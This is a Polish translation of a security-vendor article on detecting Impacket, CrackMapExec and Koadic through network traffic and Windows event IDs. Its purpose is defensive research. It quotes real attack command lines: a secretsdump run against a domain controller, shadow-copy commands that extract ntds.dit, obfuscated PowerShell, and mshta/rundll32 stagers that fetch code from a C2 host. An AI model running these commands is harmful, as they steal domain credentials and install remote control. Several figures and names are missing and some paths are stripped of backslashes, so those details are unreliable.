Z roku na rok rośnie liczba ataków w sektorze korporacyjnym: na przykład niż w 2016 roku, a w 2018 roku - , niż w poprzednim okresie. W tym również takich, w których głównym narzędziem roboczym jest system operacyjny Windows. W latach 2017-2018 grupy APT Dragonfly, APT28, przeprowadzały ataki na rządowe i wojskowe organizacje w Europie, Ameryce Północnej i Arabii Saudyjskiej. Do tego celu wykorzystały trzy narzędzia — , i . Ich kod źródłowy jest dostępny na GitHubie.
Warto zaznaczyć, że te narzędzia nie są używane do początkowego włamania, ale do rozwijania ataku wewnątrz infrastruktury. Cyberprzestępcy wykorzystują je na różnych etapach ataku, które następują po pokonaniu perymetru. Co ciekawe, trudno je wykryć, często tylko za pomocą technologii lub narzędzi, które pozwalają . Narzędzia oferują wiele funkcji — od przesyłania plików po interakcję z rejestrem i wykonywanie poleceń na zdalnej maszynie. Przeprowadziliśmy badanie tych narzędzi, aby określić ich aktywność sieciową.
Co musieliśmy zrobić:
- Zrozumieć, jak działa zestaw narzędzi hakerskich.Dowiedzieć się, czego potrzebują atakujący do eksploatacji i jakimi technologiami mogą się posłużyć.
- Znaleźć to, co nie jest wykrywane przez środki bezpieczeństwa informacji na wczesnych etapach ataku.Etap rekonesansu może być pominięty, albo dlatego, że atakującym jest wewnętrzny przestępca, albo dlatego, że atakujący wykorzystuje lukę w infrastrukturze, o której wcześniej nie wiedziano. Pojawia się możliwość odtworzenia całego łańcucha jego działań, stąd pojawia się chęć wykrywania dalszych ruchów.
- Wyeliminować fałszywe alarmy systemów wykrywania włamań.. Nie można zapominać, że na podstawie samego wywiadu mogą wystąpić częste błędy przy wykrywaniu określonych działań. Zwykle w infrastrukturze istnieje wystarczająca liczba sposobów, które na pierwszy rzut oka nie różnią się od legalnych, aby uzyskać jakiekolwiek informacje.
Co te narzędzia dają atakującym? Jeśli chodzi o Impacket, to przestępcy zyskują dużą bibliotekę modułów, które można wykorzystać na różnych etapach ataku przebiegającego po pokonaniu perymetru. Wiele narzędzi wykorzystuje moduły Impacket w swoim wnętrzu — na przykład Metasploit. Zawiera dcomexec i wmiexec do zdalnego wykonywania poleceń, secretsdump do pobierania kont z pamięci, które zostały dodane z Impacket. W efekcie poprawne wykrycie aktywności takiej biblioteki zapewni również wykrycie pochodnych.
O CrackMapExec (lub po prostu CME) twórcy nieprzypadkowo napisali „Powered by Impacket”. Ponadto, CME ma w sobie gotową funkcjonalność dla popularnych scenariuszy: to Mimikatz do pozyskiwania haseł lub ich skrótów, oraz włączenie Meterpreter czy Empire agent do zdalnego wykonania, i Bloodhound na pokładzie.
Trzeci wybrany przez nas narzędzie to Koadic. Jest dość nowe, zaprezentowane na międzynarodowej konferencji hakerskiej DEFCON 25 w 2017 roku, i wyróżnia się niestandardowym podejściem: pracą przez HTTP, Java Script i Microsoft Visual Basic Script (VBS). Takie podejście nazywa się living off the land: narzędzie korzysta z zestawu zależności i bibliotek wbudowanych w Windows. Twórcy nazywają go COM Command & Control, czyli C3.
IMPACKET
Funkcjonalność Impacket jest bardzo szeroka, zaczynając od wywiadu wewnątrz AD i zbierania danych z wewnętrznych serwerów MS SQL, a kończąc na technikach pozyskiwania danych uwierzytelniających: to atak SMB relay oraz pozyskiwanie z kontrolera domeny pliku ntds.dit, zawierającego skróty haseł użytkowników. Impacket wykonuje zdalnie polecenia, korzystając z czterech różnych sposobów: przez WMI, usługę do zarządzania harmonogramem Windows, DCOM i SMB, i w tym przypadku potrzebuje danych uwierzytelniających.
Secretsdump
Przyjrzyjmy się secretsdump. To moduł, którego celem mogą być zarówno maszyny użytkowników, jak i kontrolery domeny. Dzięki niemu można uzyskiwać kopie obszarów pamięci LSA, SAM, SECURITY, NTDS.dit, dlatego można go zobaczyć na różnych etapach ataku. Pierwszym krokiem w pracy modułu jest uwierzytelnienie przez SMB, do którego potrzebne jest albo hasło użytkownika, albo jego hash do automatycznego przeprowadzenia ataku Pass the Hash. Następnie następuje żądanie otwarcia dostępu do Service Control Manager (SCM) oraz uzyskania dostępu do rejestru przez protokół winreg, za pomocą którego atakujący może poznać interesujące go gałęzie i uzyskać wyniki przez SMB.
Na rys. 1 widzimy, w jaki sposób przy użyciu protokołu winreg następuje uzyskanie dostępu do klucza rejestru z LSA. W tym celu używana jest komenda DCERPC z opcode 15 — OpenKey.
Rys. 1. Otwarcie klucza rejestru przez protokół winreg
Następnie, kiedy dostęp do klucza zostaje uzyskany, odbywa się zapis wartości komendą SaveKey z opcode 20. Impacket robi to w dość specyficzny sposób. Zapisuje wartości do pliku, którego nazwa to ciąg 8 losowych znaków z dodatkiem .tmp. Ponadto dalsze wywalenie tego pliku odbywa się przez SMB z katalogu System32 (rys. 2).
Rys. 2. Schemat uzyskania klucza rejestru z zdalnej maszyny
Z tego wynika, że można wykryć taką aktywność w sieci po zapytaniach do określonych gałęzi rejestru przez protokół winreg, specyficznych nazwach, komendach i ich kolejności.
Ponadto ten moduł zostawia ślady w dziennikach zdarzeń Windows, dzięki którym jest łatwo wykrywalny. Na przykład w wyniku wykonania komendy
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCw dzienniku Windows Server 2016 zobaczymy następującą kluczową sekwencję zdarzeń:
1. 4624 — zdalne logowanie.
2. 5145 — sprawdzenie uprawnień dostępu do zdalnej usługi winreg.
3. 5145 — sprawdzenie uprawnień dostępu do pliku w katalogu System32. Plik ma losową nazwę, wspomnianą wcześniej.
4. 4688 — utworzenie procesu cmd.exe, który uruchamia vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — utworzenie procesu z komendą:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — tworzenie procesu z poleceniem:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — tworzenie procesu z poleceniem:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Tak jak w przypadku wielu narzędzi do post-eksploatacji, Impacket ma moduły do zdalnego wykonywania poleceń. Skupimy się na smbexec, który daje interaktywny interfejs poleceń na zdalnej maszynie. Ten moduł również wymaga uwierzytelnienia przez SMB, zarówno hasłem, jak i jego hashem. Na rys. 3 widzimy przykład działania takiego narzędzia, w tym przypadku jest to konsola lokalnego administratora.
Rys. 3. Interaktywna konsola smbexec
Pierwszym etapem pracy smbexec po uwierzytelnieniu jest otwarcie SCM poleceniem OpenSCManagerW (15). Żądanie jest interesujące: pole MachineName ma wartość DUMMY.
Rys. 4. Żądanie otwarcia Service Control Manager
Następnie następuje tworzenie usługi za pomocą polecenia CreateServiceW (12). W przypadku smbexec możemy zauważyć, że zawsze stosuje się tę samą logikę w budowie polecenia. Na rys. 5 zaznaczone na zielono są parametry polecenia, które są niezmienne, a na żółto — to, co atakujący może zmienić. Łatwo zauważyć, że nazwę pliku wykonywalnego, jego katalog oraz plik wyjściowy można zmienić, ale pozostałe aspekty są trudniejsze do zmiany, nie naruszając logiki działania modułu Impacket.
Rys. 5. Żądanie stworzenia usługi z użyciem Service Control Manager
Smbexec również pozostawia wyraźne ślady w dzienniku zdarzeń systemu Windows. W dzienniku Windows Server 2016 dla interaktywnej powłoki poleceń z poleceniem ipconfig zobaczymy następującą kluczową sekwencję zdarzeń:
1. 4697 — instalacja usługi na urządzeniu ofiary:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — tworzenie procesu cmd.exe z argumentami z punktu 1.
3. 5145 — sprawdzenie uprawnień dostępu do pliku __output w katalogu C$.
4. 4697 — instalacja usługi na urządzeniu ofiary.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — tworzenie procesu cmd.exe z argumentami z punktu 4.
6. 5145 — sprawdzenie uprawnień dostępu do pliku __output w katalogu C$.
Impacket jest podstawą do tworzenia narzędzi do ataków. Obsługuje prawie wszystkie protokoły w infrastrukturze Windows i posiada swoje charakterystyczne cechy. Obejmuje konkretne zapytania winreg, korzystanie z API SCM z charakterystycznym formowaniem poleceń, formaty nazw plików oraz udostępnianie SMB SYSTEM32.
CRACKMAPEXEC
Narzędzie CME ma na celu przede wszystkim automatyzację rutynowych czynności, które atakujący musi wykonywać w celu poruszania się w sieci. Umożliwia współpracę z dobrze znanymi agentami Empire i Meterpreter. Aby wykonywać polecenia w sposób ukryty, CME może je zmylić. Korzystając z Bloodhound (osobne narzędzie do wywiadu), atakujący może zautomatyzować wyszukiwanie aktywnej sesji domenowego administratora.
Bloodhound
Bloodhound jako samodzielne narzędzie umożliwia zaawansowany wywiad w sieci. Zbiera dane o użytkownikach, maszynach, grupach, sesjach i jest dostarczany w postaci skryptu PowerShell lub pliku binarnego. Do zbierania informacji używa protokołów LDAP lub opartych na SMB. Moduł integracyjny CME pozwala przesyłać Bloodhound na maszynę ofiary, uruchamiać go i zbierać dane po wykonaniu, automatyzując w ten sposób działania w systemie i czyniąc je mniej zauważalnymi. Graficzny interfejs Bloodhound przedstawia zebrane dane w postaci grafów, co pozwala znaleźć najkrótszą drogę od maszyny atakującego do domenowego administratora.
Rys. 6. Interfejs Bloodhound
Aby uruchomić na maszynie ofiary, moduł tworzy zadanie, korzystając z ATSVC i SMB. ATSVC jest interfejsem do pracy z harmonogramem zadań Windows. CME używa jego funkcji NetrJobAdd (1) do tworzenia zadań w sieci. Przykład tego, co wysyła moduł CME, przedstawiony jest na rys. 7: to wywołanie polecenia cmd.exe oraz zmyślony kod w postaci argumentów w formacie XML.
Rys. 7. Tworzenie zadania przez CME
Po tym, jak zadanie zostało przekazane do wykonania, maszyna ofiary uruchamia sam Bloodhound, co można zauważyć w ruchu sieciowym. Moduł charakteryzuje się zapytaniami LDAP do uzyskiwania standardowych grup, listy wszystkich maszyn i użytkowników w domenie oraz pozyskiwaniem informacji o aktywnych sesjach użytkowników za pomocą zapytania SRVSVC NetSessEnum.
Rys. 8. Uzyskiwanie listy aktywnych sesji przez SMB
Dodatkowo, uruchomienie Bloodhound na komputerze ofiary z włączoną audytą wiąże się z zdarzeniem o ID 4688 (tworzenie procesu) oraz nazwą procesu "C:WindowsSystem32cmd.exe". Ciekawym w tym przypadku są argumenty wiersza poleceń:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOIN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
Bardzo interesujący z punktu widzenia funkcjonalności i realizacji moduł enum_avproducts. WMI umożliwia za pomocą języka zapytań WQL uzyskiwanie danych o różnych obiektach systemu Windows, co w istocie wykorzystuje ten moduł CME. Generuje zapytania do klas AntiSpywareProduct i AntiMirusProduct dotyczące środków ochrony zainstalowanych na komputerze ofiary. Aby uzyskać potrzebne dane, moduł łączy się z przestrzenią nazw rootSecurityCenter2, następnie formuje zapytanie WQL i otrzymuje odpowiedź. Na rys. 9 przedstawiono zawartość takich zapytań oraz odpowiedzi. W naszym przykładzie znalazł się Windows Defender.
Rys. 9. Aktywność sieciowa modułu enum_avproducts
Często audyt WMI (Trace WMI-Activity), w zdarzeniach którego można znaleźć przydatne informacje o zapytaniach WQL, może być wyłączony. Ale jeśli jest włączony, to w przypadku uruchomienia skryptu enum_avproducts zostanie zapisane zdarzenie o ID 11. Będzie zawierać nazwę użytkownika, który wysłał zapytanie, oraz nazwę w przestrzeni nazw rootSecurityCenter2.
Każdy z modułów CME posiada swoje artefakty, czy to specyficzne zapytania WQL, czy tworzenie określonego rodzaju zadań w harmonogramie zadań z obfuskacją oraz charakterystyczna dla Bloodhound aktywność w LDAP i SMB.
KOADIC
Wyróżniającą cechą Koadic jest korzystanie z wbudowanych w Windows interpreterów JavaScript i VBScript. W tym sensie podąża za trendem living off the land — tzn. nie ma zewnętrznych zależności i korzysta z standardowych narzędzi Windows. To narzędzie do pełnej kontroli nad systemem Command & Control (CnC), ponieważ po zainfekowaniu na komputerze instalowany jest „implat”, który pozwala na jego kontrolowanie. Taki komputer, w terminologii Koadic, nazywany jest „zombie”. W przypadku braku uprawnień do pełnoprawnej pracy po stronie ofiary Koadic ma możliwość ich podniesienia, stosując techniki omijania kontroli konta użytkownika (UAC bypass).
Rys. 10. Powłoka poleceń Koadic
Ofiara musi sama zainicjować komunikację z serwerem Command & Control. W tym celu musi skontaktować się z wcześniej przygotowanym URI i pobrać główne ciało Koadic za pomocą jednego z stagerów. Na rys. 11 pokazano przykład dla stagera mshta.
Rys. 11. Inicjalizacja sesji z serwerem CnC
Z zmiennej WS odpowiedzi wynika, że wykonanie odbywa się przez WScript.Shell, a zmienne STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE zawierają kluczowe informacje o parametrach bieżącej sesji. To pierwsza para zapytanie-odpowiedź w połączeniu HTTP z serwerem CnC. Kolejne zapytania są bezpośrednio związane z funkcjonalnością wywoływanych modułów (implementacji). Wszystkie moduły Koadic działają tylko z aktywną sesją z CnC.
Mimikatz
Tak jak CME działa z Bloodhound, Koadic działa z Mimikatz jako oddzielnym programem i ma kilka sposobów uruchomienia. Poniżej przedstawiono parę zapytanie-odpowiedź do załadowania implementacji Mimikatz.
Rys. 12. Przekazanie Mimikatz do Koadic
Można zauważyć, jak zmienił się format URI w zapytaniu. Pojawiła się wartość dla zmiennej csrf, która odpowiada za wybrany moduł. Nie zwracaj uwagi na jej nazwę; wszyscy wiemy, że pod CSRF zazwyczaj rozumie się coś innego. W odpowiedzi otrzymano to samo główne ciało Koadic, do którego dodano kod związany z Mimikatz. Jest on dość obszerny, więc omówimy kluczowe punkty. Przed nami zakodowana w base64 biblioteka Mimikatz, zserializowana klasa .NET, która ją zainjectuje, oraz argumenty do uruchomienia Mimikatz. Wynik wykonania jest przesyłany przez sieć w formie otwartej.
Rys. 13. Wynik wykonania Mimikatz na zdalnej maszynie
Exec_cmd
W Koadic są również moduły zdolne do zdalnego wykonywania poleceń. Tutaj zobaczymy tę samą metodę generowania URI i znane zmienne sid i csrf. W przypadku modułu exec_cmd do ciała dodawany jest kod, który potrafi wykonywać polecenia shell. Poniżej przedstawiono taki kod, zawarty w odpowiedzi HTTP serwera CnC.
Rys. 14. Kod implementacji exec_cmd
Zmienna GAWTUUGCFI z znanym atrybutem WS jest potrzebna do wykonania kodu. Dzięki niej implant wywołuje shell, przetwarzając dwie gałęzie kodu — shell.exec z zwrotem strumienia wyjściowego i shell.run bez zwracania.
Koadic nie jest typowym narzędziem, ale ma swoje artefakty, po których można go znaleźć w legitymowym ruchu:
- specjalne formowanie zapytań HTTP,
- użycie winHttpRequests API,
- tworzenie obiektu WScript.Shell za pomocą ActiveXObject,
- duża wykonawcza treść.
Początkowe połączenie inicjuje staging, co umożliwia wykrywanie jego aktywności za pomocą zdarzeń Windows. Dla mshta to zdarzenie 4688, które mówi o stworzeniu procesu z atrybutem uruchamiania:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6Podczas wykonywania Koadic można zobaczyć również inne zdarzenia 4688 z atrybutami, które doskonale go charakteryzują:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Wnioski
Trend living off the land zyskuje popularność wśród przestępców. Używają oni wbudowanych w Windows narzędzi i mechanizmów do swoich potrzeb. Widzimy, jak popularne narzędzia Koadic, CrackMapExec i Impacket, działające na tej zasadzie, coraz częściej pojawiają się w raportach APT. Liczba forków tych narzędzi na GitHubie również rośnie, pojawiają się nowe (obecnie jest ich już około tysiąca). Trend zyskuje na popularności ze względu na swoją prostotę: przestępcy nie potrzebują zewnętrznych narzędzi, ponieważ są już na maszynach ofiar i pomagają omijać środki ochrony. Skupiamy się na badaniu interakcji sieciowych: każde z opisanych powyżej narzędzi pozostawia swoje ślady w ruchu sieciowym; ich szczegółowe badanie pozwoliło nam nauczyć nasz produkt ich wykrywania, co w rezultacie pomaga w śledzeniu całego łańcucha incydentów cybernetycznych z ich udziałem.
Autorzy:
- Anton Tyurin, kierownik działu usług eksperckich, PT Expert Security Center, Positive Technologies
- Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies
Źródło: habr.com
